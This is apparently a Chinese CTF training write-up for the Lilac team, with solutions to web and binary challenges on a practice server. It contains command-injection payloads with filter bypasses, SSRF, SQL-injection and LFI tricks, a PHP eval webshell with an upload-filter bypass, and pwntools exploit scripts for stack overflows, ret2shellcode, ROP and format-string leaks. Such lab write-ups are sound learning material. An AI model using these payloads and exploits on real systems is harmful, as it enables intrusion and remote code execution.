Lilac 战队训练题wp 持续更新……

1-白送 flag / helloworld

解法一:python 脚本

import requests

# 设置 cookies
cookies = {
    'icecream': 'good',
    'friedchicken': 'nice'
}

# 设置 headers
headers = {
    'To': 'Doraemon'
}

# 填写 query string
params = {
    'spell': 'viwo50'
}

# POST 请求
data = b"\xaa\xbb\xcc\xdd"

# 发送请求
response = requests.post('http://train2024.hitctf.cn:26455/', cookies=cookies, headers=headers, params=params, data=data)
print(response.text)

Lilac{machine_c@t_114514I9198lO}

解法二:Burp suite

拦截请求

GET / HTTP/1.1
Host: train2024.hitctf.cn:26251
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

发送到 repeater

按照题目要求写入内容:

POST /?spell=viwo50 HTTP/1.1
Host: train2024.hitctf.cn:26251
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cookies:
Cookie: icecream=good; friedchicken=nice
To: Doraemon
Content-Length: 4

ª»ÌÝ

最后一行就是 16 进制 aabbccdd 被强行转成文字的结果。

此处可以添加 cookies,其他几个也是类似的操作。

修改 GET 或者 POST.

此处可以直接进行 16 进制编辑。

2-Concert 音乐会

<html>
  <head>
    <meta charset="utf8"/>
    <script src="https://cdn.jsdelivr.net/npm/jquery@3.3.1/dist/jquery.min.js"></script>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/fomantic-ui@2.8.8/dist/semantic.min.css"/>
    <script src="https://cdn.jsdelivr.net/npm/fomantic-ui@2.8.8/dist/semantic.min.js"></script>
    <title>Concert</title>
  </head>

  <body>
    <div class="ui text container">
      <div style="padding-top: 1em;"></div>
      <h2>Lilac 赛博音乐会</h2>
      <p><span class="ui primary text">赛博猫</span>正在<span class="ui green text">赛博空间</span>举办<span class="ui red text">赛博音乐会</span>。</p>
      <p>请您共襄盛举!</p>
      <div class="ui special cards">
        <div class="card">
          <div class="blurring dimmable image">
            <div class="ui dimmer">
              <div class="content">
                <div class="center">
                  <audio controls="controls">
                    <source src="static/music/op48no1.mp3" type="audio/mp3" />
                  </audio>
                </div>
              </div>
            </div>
            <img src="/get_resource.php?path=static/img/1.jpg">
          </div>
          <div class="content">
            <a class="header">Nocturne</a>
            <div class="meta">
              <span class="date">Op. 48 No. 1</span>
            </div>
          </div>
          <div class="extra content">
            Fou Ts'ong
          </div>
        </div>
        <div class="card">
          <div class="blurring dimmable image">
            <div class="ui dimmer">
              <div class="content">
                <div class="center">
                  <audio controls="controls">
                    <source src="static/music/op60.mp3" type="audio/mp3" />
                  </audio>
                </div>
              </div>
            </div>
            <img src="/get_resource.php?path=static/img/2.jpg">
          </div>
          <div class="content">
            <a class="header">Barcarolle</a>
            <div class="meta">
              <span class="date">Op. 60</span>
            </div>
          </div>
          <div class="extra content">
            Krystian Zimerman
          </div>
        </div>

      </div>
    </div>
  </body>

  <script>
    $('.special.cards .image').dimmer({
      on: 'hover'
    });
  </script>

</html>

Ctrl U 看代码,发现可疑路径 /get_resource.php?path=,故借此使用任意文件读取漏洞。

根据题目提示,试 path=/flag.txt 时下载文件,里面有 flag.

3-calc 算术大师

脚本读取题目并自动填入正确答案即可。

查看源码:

<script>
    var locked = 0 // locked 变量通常用于防止重复执行某些操作,比如防止用户在操作完成前重复发送请求。

    // 提交答案的函数 send_data
    function send_data(val) {
        $.ajax({url: "/game", method: "POST", data: {data: val}, async: false}).done(function (data) {
            $('#msg').text(data.msg) // $('#msg') 表示对具有 id 为 msg 的元素的引用。

            if (data.bar == 0) {
                $('#bar').progress('reset')
            } else {
                $('#bar').progress('increment')
            }
            locked = 0
        }
                                                                                    )
    } // $.ajax(请求内容,json格式).done(请求成功后执行函数).fail(请求失败后执行函数).always(请求完成后不管成功失败都会执行的函数)

    $('#bar')
        .progress({
        label: 'ratio',
        text: {
            active: '{value} / {total}',
            success: 'success!'
        }
    });
    $('#gameinput').on('keypress', function (e) {
        if (locked === 1) {
            return
        }
        if (e.which === 13) { //  检查按下的键是否是 Enter 键。e.which 属性返回一个数字,代表按下的键的编码。13 是 Enter 键的编码。
            locked = 1
            val = $('#gameinput').val() //获取或设置输入框的值

            $('#gameinput').val('') // 清空输入框中的文本

            send_data(val)
        }
    });
</script>

我们可以直接调用 send_data 函数来提交数据

<span id="msg" class="ui purple text">1 + 7 (Problem 1/100)</span>
send_data(eval($('#msg').text().split('(')[0]))

循环 100 次:

for (let i = 0; i < 100; i += 1) {
    send_data(eval($('#msg').text().split('(')[0]))
}

等待一会儿可以得到 flag:

Lilac{hTtp_basiC_welc0me-to_l1lac}

4-ex-pingping

命令行 rce ,带 waf

%0A 和文件写入权限没有被禁,利用这两个 trick 可以较轻松地获取 flag.

如果这两条路都被堵死,还是可以使用如下的方法。

查询 ping 的各项指令,发现 -p 指令能用指定的字节填充数据包

比如:

ping -c 4 localhost -p aabbccdd

将会打印:

PATTERN: 0xaabbccdd
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.078 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.083 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.060 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.073 ms

--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3101ms
rtt min/avg/max/mdev = 0.060/0.073/0.083/0.008 ms

通过这种方式,我们理论上可以将 flag 以 16 进制的格式暴露出来。

问问 gpt ,命令行有哪些指令可以将文本内容转为 16 进制。

要将 /flag 文件以十六进制形式输出,你可以使用多种命令行工具,比如 xxdhexdumpod。这些工具可以将文件的内容转换为十六进制格式并输出到终端。以下是一些具体的操作方法:

使用 xxd

xxd 是一个常用的工具,可以方便地将文件内容转换为十六进制格式。

xxd /flag

此命令将 /flag 文件的内容以十六进制和 ASCII 字符的形式输出。默认情况下,xxd 会输出每行 16 个字节。

只显示十六进制(不显示 ASCII 字符)

如果你只想显示十六进制而不包括 ASCII 表示,可以使用 -p 选项:

xxd -p /flag

这将输出纯十六进制字符,没有偏移量或 ASCII 表示。

使用 hexdump

hexdump 是另一个可以将文件内容转换为十六进制的工具。

hexdump -C /flag

这会以典型的十六进制转储格式输出文件内容,包括偏移量、十六进制值和 ASCII 字符。

只显示十六进制

要仅输出十六进制而不显示 ASCII 字符,可以使用如下命令:

hexdump -v -e '/1 "%02x"' /flag

-v 选项强制显示所有数据,-e 选项用于指定输出格式,这里设置为每个字节输出两位十六进制。

使用 od

od(Octal Dump)也可以用于以十六进制格式查看文件内容。

od -An -tx1 /flag

这个命令使用 -tx1 选项以字节为单位输出十六进制值,并用 -An 禁止输出偏移量。

示例输出

假设 /flag 文件内容是简单的文本:

Hello, World!

使用以上任一工具命令可以得到类似如下的输出:

  • 使用 xxd
  00000000: 4865 6c6c 6f2c 2057 6f72 6c64 210a       Hello, World!.
  • 使用 hexdump
  0000000 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
  000000e
  • 使用 od
  48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a

这些工具可以帮助你将任意文件的内容以十六进制格式输出,便于分析和调试。可以根据需要选择合适的工具和选项来获取所需的信息。

为了把 flag 文件转化为不带空格不带偏移量的 16 进制,可以使用如下命令:

xxd -p /flag
hexdump -v -e '/1 "%02x"' /flag

所以我们可以得到这样的 payload:

ip = localhost -p $(hexdump -e '16/1 "%02X"' /flag)

然而

看来是 flag 被拦截了,简单绕过一下

ip = localhost -p $(hexdump -e '16/1 "%02X"' /fl\ag)

(通过测试 local\host 可以知道反斜杠并没有加入拦截字典)

结果是页面啥也没显示,估计是遇到报错了,然而这个页面不回显错误;并推测该 shell 中 hexdump 命令不可用。

同样地,xxd 命令也不可用。

ip = localhost -p $(xxd -p /flag)

最后考虑 od 命令,由于 | 等字符被拦截,我们很难找到方法让 od 把不带空格的 flag 的完整 16 进制显示出来。故曲线救国,让它 4 个字节 4 个字节地输出。

ip = localhost -p $(od -j 0 -N 4 -An -tx /fl\ag)

-j 即跳过 n 个字节进行输出。

页面成功回显:

放入二进制编辑器:

显然正确的顺序是 flag 而不是 galf,查阅资料得知 od 会自动识别成小端序从而逆序输出。也就是我们需要手动把它返回的每 4 个字节逆序拼接。

通过这种方式我们最终得到 flag:

5-ex-spider

dirsearch 的使用

其命令格式如下:

dirsearch -u <url> -e <extension name> -x <except response code>

dirsearch -u <http://train.hitctf.cn:24004/> -e *

dirsearch -i 200 -u ... // -i放到前面才有效,玄学

常用的几个参数如下:

  • -u 要扫描的url
  • -e 指定扩展名
  • -x 排除的响应码,比如你不希望看到502响应的网站,就可以-x 502,多个用逗号分隔,支持区间(eg: 300,500-599)
  • -i 仅包含的响应码,如-i 200,格式同上。这个参数最好放到-u的前面,否则可能会有些玄学问题

扫描该网站,得到如下结果:

进入 /robots.txt,提示

Disallow: /secret_flag_here.php

进入 /secret_flag_here.php,提示 “只有我自己能看到 flag”

尝试让该爬虫爬取页面:

http://localhost/secret_flag_here.php

由于 localhost 大小写不敏感,故:

http://lOcaLhosT/secret_flag_here.php

得到 flag:Lilac{ssrf_s0_eaSy}

其他可行解:

http://0.0.0.0/secret_flag_here.php

SSRF: Server-Side Request Forgery,即服务器端请求伪造

某些资源客户端没有权限访问,但服务器可以访问,于是攻击者可以通过欺骗服务器从而访问到这些资源。

6-robot

根据要求编写脚本即可。

from pwn import *

context.log_level = "debug"
p = remote("train2024.hitctf.cn", 26538)

p.recvline()

for i in range(100):
    p.recvuntil(b": ")
    question = p.recv().decode()
    # question = question.replace("=", "")
    question = question.strip("= ")
    print(question)
    # ans = int(question.split('*')[0]) * int(question.split('*')[1])
    ans = eval(question)
    print(question, ans)
    # with open ("a.txt", "a") as f:
    #     f.write(question)
    #     f.close()
    # print(question, ans)
    p.sendline(str(ans).encode())
    p.recvline()

p.interactive()

7-password

简单栈溢出。

from pwn import *

# p = process("./password")
p = remote("train2024.hitctf.cn", 26955)

payload = b"A" * (0x13 - 4) + p64(0xdeadbeef)

p.sendline(payload)

p.interactive()

8-rip

简单栈溢出,调试时发现栈对齐问题,简单修改地址即可。

9-图书馆

简单 sql 注入,发现空格被过滤,用 /**/ 绕过即可。

10-跑马场

进入 /ma.php 页面,显示:

<?php 

// 真正的强者,敢于把自己的马送给别人
highlight_file(__FILE__);

@eval($_POST['lilac']);

用 hackbar POST 提交 lilac=system(“ls /”); 即可发现 flag 文件,再 lilac=system(“cat /flag”); 即可得到 flag.

11-unboxing

hackbar 破解 MD5 得到:kaihe,进入 6 号账户的登陆页面,根据这个页面的 cookie 可以用来登陆其他1-5 号账户的页面,从而拼接得到完整 flag.

12-ex-imagehost

先写一个最简单的一句话木马扔进去:ma.php

<?php
@eval($_POST['cmd']);
?>

系统提示:文件MIME类型不正确, 只允许上传 jpeg jpg png gif 类型的文件.

尝试用 Burp Suite 修改 ma.php 的 content type 为:image/jpeg,系统返回:这不是图片,别想骗我😡

推测该系统检查了文件头,故给 ma.php 加上一个 jpg 的文件头并且修改 content type 再发送。系统返回:php?扬了😋

推测该系统检查了 “php”,而实际上 php 文件开头不必写 <?php 直接写 <? 即可。再次发送,系统返回:上传成功,保存至tmp/a.php。

接下来直接用 AntSword 连接即可。

13-ret2shellcode

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char v5[40]; // [esp+4h] [ebp-34h] BYREF
  void *buf; // [esp+2Ch] [ebp-Ch]

  setvbuf(_bss_start, 0, 2, 0);
  v3 = getpagesize();
  buf = mmap((void *)0x7000000, v3, 6, 49, -1, 0);
  printf("please input your secret:");
  read(0, buf, 0xC8u);
  printf("what's your name:");
  read(0, v5, 0xC8u);
  return 1;
}

setvbuf(_bss_start, 0, 2, 0);:调用setvbuf函数设置缓冲区模式。_bss_start通常是一个全局变量或数据段的起始位置。参数0表示使用无缓冲模式,2表示行缓冲模式,0表示缓冲区大小为0。这行代码设置了标准输出流的缓冲模式。

v3 = getpagesize();:调用getpagesize函数,获取系统内存页的大小,并将其存储在变量v3中。内存页大小是操作系统管理内存的基本单位。这个对做题没什么帮助,不知道也没事。

buf = mmap((void \*)0x7000000, v3, 6, 49, -1, 0);:调用mmap函数在内存中映射一个新的页面。这里的参数意义如下:

  • (void *)0x7000000:请求映射的内存地址是0x7000000
  • v3:请求的映射大小,即系统页的大小。
  • 6:映射的保护标志,这里表示可执行和可写(PROT_EXEC | PROT_WRITE)。
  • 49:映射的标志,这里表示匿名映射,不与任何文件关联(MAP_PRIVATE | MAP_ANONYMOUS)。
  • -1:文件描述符,因为是匿名映射,所以设为-1
  • 0:偏移量。

这行代码的作用是将一块内存映射到进程的地址空间,以便后续使用。

重点理解一下这个 6 = 4 + 2

Linux 文件权限(可用 chmod 添加)rwx
421
sys/mman.h 标准库中规定的权限rwx
124

此处 6 即表示可写+可执行,当然,只要可写就一定可读。

后面 read 函数给了 0xC8 的读取长度,显然可以实现溢出。再加上分配的 0x7000000 处可以写入东西,那么简而言之,我们的目标就是在可写内存中写入 system("/bin/sh") 并调用,以此获得控制权。

from pwn import *
io = process('./ret2shellcode')
context.arch = 'i386' # x86 32 bits
sc = asm(shellcraft.sh())

context.arch 用来告诉 pwntools 要生成 x86 架构的汇编代码,shellcraft.sh() 生成的就是 system(“/bin/sh”) 的汇编代码,asm 就是把汇编代码转为机器码(一堆 Bytes)。

io.sendlineafter(b"please input your secret:", sc)

payload = b'a' * (0x34 + 4) + p32(0x7000000)
io.sendlineafter(b"what's your name:", payload)

io.interactive()

然而并未成功获取 shell.

打开 gdb 调试:

context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io)

将断点设置在第一次读入之后:

b *0x8048563

继续运行

c

查看内存中是否正确写入 system(“/bin/sh”) 的汇编代码:

x/30i 0x7000000

i 即 instruction

可以看到已经正确写入,说明错误并不在这里。

retaddr

gdb 中调试指令 retaddr 可以查看当前所有返回地址。

黄色地址是其所在栈的位置,红色地址是返回地址。

查看第二次 read 后栈的情况:

好像也没有问题。关键在于:

我们在这一行下断点,尝试运行:

可以发现在这一行代码执行前,我们 esp 确实指向了我们想要的位置 0x7000000,然而当这一句代码执行以后:

可以看到 esp 变成了 0x4141413d !而且出现了红色,估计是访问了不能访问的地址,程序死掉了。

如果没有这句 lea esp, [ecx – 4],这题其实已经做完了。而现在就是要想办法消除这句话带来的影响。

lea esp, [ecx - 4]

lea 即 load effective address,这句话的作用就是把 ecx – 4 的值直接赋给 esp ,而并不会访问所在地址的内容。所以我们的目标变成了让 ecx 的值变成 0x7000000 + 4,即 0x7000004.

继续检查汇编代码,发现 ecx 最后一次赋值是由这句话决定的:

mov ecx, [ebp + var_4]

看 gdb 更简单了,直接 mov ecx, dword ptr [ebp – 4]

(为什么两句话不相同?而且可以看到 var_4 确实在 ebp – 4 的位置)

所以上面的

payload = b'a' * (0x34 + 4) + p32(0x7000000)

应当改为:

payload = b'a' * (0x34 - 4) + p32(0x7000004)

需要填充的开始位置是 ebp – 0x34, 而 ecx 将被赋值为 [ebp – 0x4] 中的值,所以可以先填 0x30 个无效字节,再在后 4 字节中填上 0x7000004,这样 ecx 的值就将从 0x7000000 中取,而这个地址正是我们可以修改的地方。我们只需要修改上一个 payload,在 0x7000000 的地方填 ecx 的期望值,这样 esp 的值就会变成 ecx – 4 (lea 不取地址上的值),再把 esp 指向一个返回地址,而这个返回地址指向 sc 所在位置即可。

当函数执行完毕并需要返回时,会执行一个 RET 指令。RET 指令会从当前 ESP 所指的栈顶位置弹出一个值,并将其作为新的 EIP 值。

构造第一条 payload:

payload = p32(0x7000008) + p32(0x7000008) + sc

首先,ecx 的值从 0x7000000 中取,所以是 0x7000008,然后 esp 的值是 ecx – 4,即为 0x7000004,作为返回地址。我们让 0x7000004 指向 0x7000008,并从这个位置开始填写 shellcode,便能够使程序执行 system(‘/bin/sh’),从而夺取权限。

然而,shellcode 中有 push 操作会导致出现小于 0x7000000 的地址。故我们可以把代码整体平移到后面的内存,防止程序在 push 后访问到非法地址。整体代码如下:

from pwn import *

io = process('./ret2shellcode')
# io = remote('train2024.hitctf.cn', 26184)
context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'i386' # x86 32 bits

sc = asm(shellcraft.sh())

# gdb.attach(io, 'b *0x08048569')

payload = b'a' * 0x80 + p32(0x7000088) + p32(0x7000088) + sc
io.sendlineafter(b"please input your secret:", payload)

payload = b'A' * (0x34 - 4) + p32(0x7000084)
io.sendlineafter(b"what's your name:", payload)

io.interactive()

end.

14-nobackdoor

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+10h] [rbp-20h] BYREF

  initial(argc, argv, envp);
  puts("welcome to stack5");
  printf("Here is a gift: %p\n", &puts);
  puts("input your name plz");
  read(0, buf, 0x100uLL);
  return 0;
}

显然还是栈溢出,但是题目没有给后门函数,需要自己搞。

题目给了 libc.so.6 和 ld-linux-x86-64.so.2 文件,而 system() 函数必然在 libc 中。

并且题目给出了 puts 的地址,我们可以根据 puts 的地址计算出基地址,再根据偏移计算 system() 地址。

‘/bin/sh’ 也可以用相同手法找到。

现在需要找一个 pop rdi; ret 的 gadget,但我们发现 nobackdoor 文件中并没有这个片段。

但是 libc 中必然会出现这个片段,所以这个 gadget 也可用基地址+偏移地址计算得到。

from pwn import *

# Connect to the server
r = process('./attach/nobackdoor')
# r = remote('train2024.hitctf.cn', 26879)
context.arch = 'amd64'

# elfs
elf = ELF('./attach/nobackdoor')
libc = ELF('./attach/libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
gdb.attach(r, ' b *0x401221')

r.recvuntil('Here is a gift: ')
puts_addr = int(r.recvline().strip(), 16)
success('puts_addr: ' + hex(puts_addr))

libc_address = puts_addr - libc.sym['puts']
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000002a745 : pop rdi ; pop rbp ; ret
gadget_rdi_rbp = libc_address + 0x000000000002a745
gadget_rdi = libc_address + 0x000000000002a3e5
gadget_rsi = libc_address + 0x000000000002be51
sc_addr = libc_address + next(libc.search('/bin/sh'))
sys_addr = libc_address + libc.sym['system']
success('libc: ' + hex(libc_address))

payload = flat(
    'a' * 0x28,
    gadget_rdi,
    sc_addr,
    sys_addr
)

r.sendafter('input your name plz\n', payload)

r.interactive()

经过调试发现又遇到了栈对齐的问题:

由于结尾是 8,所以只需要使栈内元素多一个或少一个就能对齐。

所以我们考虑找一个多 pop 的 gadget:

0x000000000002a745 : pop rdi ; pop rbp ; ret

记得多填充一个垃圾给 rbp 即可。

gadget_rdi_rbp = libc_address + 0x000000000002a745
gadget_rdi = libc_address + 0x000000000002a3e5
gadget_rsi = libc_address + 0x000000000002be51
sc_addr = libc_address + next(libc.search('/bin/sh'))
sys_addr = libc_address + libc.sym['system']
success('libc: ' + hex(libc_address))

payload = flat(
    'a' * 0x28,
    gadget_rdi_rbp,
    sc_addr,
    0,
    sys_addr
)

计算基地址后也可以直接赋值给 libc.address,这样可以不用手动计算偏移地址,libc.sym['xxx'] 会自动加上偏移地址。

思考:为什么不能另外多来一个 pop 语句,而是要选连着 pop 的一句 gadget ?比如:

payload = flat(
    'a' * 0x28,
    gadget_rdi,
    sc_addr,
    gadget_rsi,
    0,
    sys_addr
)

答:因为 pop 改了 8 位,最后的 ret 语句也改了 8 位,改了两次相当于白搞。

调试时为了与服务器端环境相同,可以用 patchelf 修改 libc 和解释器来源。

patchelf --replace-needed libc.so.6 ./libc.so.6 ./nobackdoor
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./nobackdoor

end.

15-norip

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[512]; // [rsp+10h] [rbp-200h] BYREF

  initial(argc, argv, envp);
  puts("welcome to norip");
  printf("here is a gift: %p\n", buf);
  puts("input your name plz");
  read(0, buf, 0x200uLL);
  print_name(buf);
  return 0;
}
void initial()
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
}
int __fastcall print_name(const void *a1)
{
  char dest[48]; // [rsp+10h] [rbp-30h] BYREF

  memcpy(dest, a1, 0x32uLL);
  return printf("Hello %s\n", dest);
}

main 中不存在栈溢出漏洞,而 print_name 函数中 memcpy 使用了 0x32 即 50 个 Bytes 相比 dest 多出两个 Bytes,存在栈溢出漏洞。

这与之前溢出到返回地址不同,我们只能溢出到 s 即 save_rbp 的位置。

汇编码中 leave 语句相当于:

mov rsp, rbp
pop rbp

进入函数前 rbp 是某个值,在出函数前,rbp 需要恢复到这个值,这就需要用到 save_rbp,它在 rbp 进入函数被修改前记录下这个值。

pop rbp 相当于:

mov rbp, [rsp]
add rsp, $8

也就是把栈顶的值(save_rbp)传给 rbp, 达到还原 rbp 的效果。

ret 指令会将程序执行流返回到 RIP(在 x86-64 架构中) 寄存器指向的地址。更准确地说,ret 指令从栈顶(由 RSP 寄存器指向)弹出一个地址,然后将这个地址加载到 RIP 寄存器中。接下来,CPU 将跳转到 RIP 指定的地址处继续执行。

程序开始会给我们一个 gift,也就是 buf 的地址,我们将它读入:

r.recvuntil(b'here is a gift: ')
buf_addr = int(r.recvline(), 16)
success('buf_addr: ' + hex(buf_addr))

现在已知 buf 地址,溢出修改的两位足够我们将 rsp 指向 buf 的位置。尝试:

payload = b'a' * 48 + p64(buf_addr)[:2]
r.sendafter(b'input your name plz', payload)

调试发现,经过 print_name 函数后 rsp 的值恰好是 buf 地址 + 8,这也与我们的预测相符。而 rbp 已经变成了 0x6161616161616161,也与我们的预测相符。现在返回地址就被设置在了 buf 地址 + 8 的位置,我们希望在这个地方写上 system(‘/bin/sh’),这样即可劫持。

可以找到一个 shell() 函数,有 system() ,但是它并没有自带参数 ‘/bin/sh’,需要我们另外写入:

由于栈对齐的问题,我们选择略过 push 语句,而从 mov rbp, rsp 一句开始作为要跳转的地址(0x11f7).

shift F12 发现存在我们需要的字符串:

复制地址:0x402004

简单 ROP 修改 rdi 中的值,使其指向这个字符串:

ROPgadget --binary ./norip | grep "pop rdi"

找到:

0x00000000004011d9 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011d6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011dc : mov ebp, esp ; pop rdi ; ret
0x00000000004011db : mov rbp, rsp ; pop rdi ; ret
0x00000000004011e0 : pop rdi ; pop rsi ; ret
0x00000000004011de : pop rdi ; ret
0x00000000004011da : push rbp ; mov rbp, rsp ; pop rdi ; ret

找到这个最简洁的:0x4011de: pop rdi; ret

完整 payload:

payload = b'b' * 8 + p64(0x4011de) + p64(0x402004) + p64(0x4011f7) + b'a' * 16 + p64(buf_addr)[:2]

再总结一下原理:

最后两位溢出使 save_rbp 的值被篡改,指向变量 buf 在栈中的位置,leave 语句(即 mov rsp, rbp; mov rbp, [rsp]; add rsp, $8)先让 rsp 指向 buf,然后 rbp 被赋值为 buf 的前 8 个字节,最后 rsp 自增 8, ret 语句从栈顶 rsp 弹出一个地址并命令 rip 指向它,随即 rsp 也将自增 8, 指向 ‘/bin/sh’ 字符串所在的地址。此时 rip 指向的内容为语句 pop rdi; ret (0x4011de, 即 mov rdi, [rsp]; add rsp, $8; ret) 恰好将 ‘/bin/sh’ 赋值给了 rdi 。现在 rsp 指向 shell 函数所在地址,ret 指令将使得 rip 指向这个地址并执行 shell 函数。而这时候正确的参数已经在 rdi 中了,所以 system(‘/bin/sh’) 执行成功。

from pwn import *

# r = process('./norip')
r = remote('train2024.hitctf.cn', 26832)

r.recvuntil(b'here is a gift: ')
buf_addr = int(r.recvline(), 16)
success('buf_addr: ' + hex(buf_addr))

# /bin/sh -> 0x402004

payload = b'b' * 8 + p64(0x4011de) + p64(0x402004) + p64(0x4011f7) + b'a' * 16 + p64(buf_addr)[:2]
r.sendafter(b'input your name plz', payload)

r.interactive()

end.

16-rop

题目都说了是 rop

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+10h] [rbp-10h] BYREF

  initial(argc, argv, envp);
  puts("welcome to ROP");
  puts("input your name plz");
  read(0, buf, 0x200uLL);
  puts("bye!");
  return 0;
}
int __fastcall shell(const char *a1)
{
  return system(a1);
}
__int64 __fastcall write_str(char a1, char a2, char a3, char a4, char a5, unsigned int a6)
{
  __int64 result; // rax

  str = a1;
  byte_404091 = a2;
  byte_404092 = a3;
  byte_404093 = a4;
  byte_404094 = a5;
  result = a6;
  byte_404095 = a6;
  return result;
}

转换成数组:

__int64 __fastcall write_str(char a1, char a2, char a3, char a4, char a5, unsigned int a6)
{
  __int64 result; // rax

  str[0] = a1;
  str[1] = a2;
  str[2] = a3;
  str[3] = a4;
  str[4] = a5;
  result = a6;
  str[5] = a6;
  return result;
}

有后门函数,但找不到 ‘/bin/sh’ , 说明需要利用 write_str 函数写入我们想要的这个参数。

main 函数里面显然可以栈溢出,实现 rop 攻击。

from pwn import *

# Connect to the server
# r = process('./rop')
r = remote('train2024.hitctf.cn', 26661)
context.log_level = 'debug'
# x64
context.arch = 'amd64'
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(r)

# 0x40125b : pop rdi ; pop rsi ; ret
# 0x401259 : pop rdi ; ret
# 0x40125c : pop rsi ; ret
# 0x40125e : pop rdx ; ret
# 0x401261 : pop rcx ; ret
# 0x4011eb : shell
# 0x401196 : write_str
# RDI, RSI, RDX, RCX, R8, R9

gadget_rdi_addr = 0x401259
gadget_rsi_addr = 0x40125c
gadget_rdx_addr = 0x40125e
gadget_rcx_addr = 0x401261
gadget_rdi_rsi_addr = 0x40125b
shell_addr = 0x4011eb
write_str = 0x401196
str_addr = 0x404090

payload = flat(
    b'a' * 0x18,
    gadget_rdi_addr,
    ord('s'),
    gadget_rsi_addr,
    ord('h'),
    gadget_rdx_addr,
    0,
    write_str,
    gadget_rdi_addr,
    str_addr,
    shell_addr
)
r.sendlineafter(b'input your name plz\n', payload)

r.interactive()

注意 flat 的用法,因为这个是 64 位程序,必须在开头指定 context.arch = 'amd64',否则会按照 p32() 进行扩展,这里我们希望它自动进行 p64() 扩展。

end.

17-LFI1

LFI 即 Local File Inclusion 本地文件包含漏洞。

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?>
<!-- flag.php -->

直接打开 flag.php 文件会提示:flag在这,但是你看不到,哈哈哈!!!

简单 base64 一下用 php://filter 协议暴露就行了:

?file=php://filter/read=convert.base64-encode/resource=flag.php

页面显示

PD9waHANCg0KZWNobyAiZmxhZ+WcqOi/me+8jOS9huaYr+S9oOeci+S4jeWIsO+8jOWTiOWTiOWTiO+8ge+8ge+8gSI7DQokZmxhZz0iZmxhZ3tlMDU2MjE0OS1iNTU2LTQ2MTAtYWM1OC01NjQzMjk5ZGY0YWR9IjsNCg==

扔进 CyberChef 解码:

<?php

echo "flag在这,但是你看不到,哈哈哈!!!";
$flag="flag{e0562149-b556-4610-ac58-5643299df4ad}";

30-easyFMT

Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);
    putchar(10);
  }
}

输入一堆 %p, 返回:

0xffc725b8
0x64
0x1
(nil)
0x1
0x70257025
0x70257025

说明偏移量为 6.

shift + F7 打开 Segments 界面,点 .got.plt ,可以看到一些常用 libc 函数:

构造 payload:

printf_got_addr = elf.got['printf'] # 就是 0x0804A014,可以使代码更清晰,也更省力
payload = p32(printf_got_addr) + b'%6$s'
r.sendafter(b'Do you know repeater?\n', payload)
printf_addr = u32(r.recvuntil(b'\xf7')[-4:])
log.success(hex(printf_addr))

程序将返回 printf 函数的实际地址。

同理可以得到其他几个函数的实际地址,由于 libc 函数后三位的偏移量是固定的,所以可以根据 “函数+后三位地址” 的组合查找远程程序使用的 libc 版本:

可以先把这 3 个 libc 版本都下载下来,最后挨个试即可(结果是 3.6 才可行)。

既然有了 libc,就可以根据偏移地址反推 libc 基地址:

libc_base = printf_addr - libc.symbols['printf']

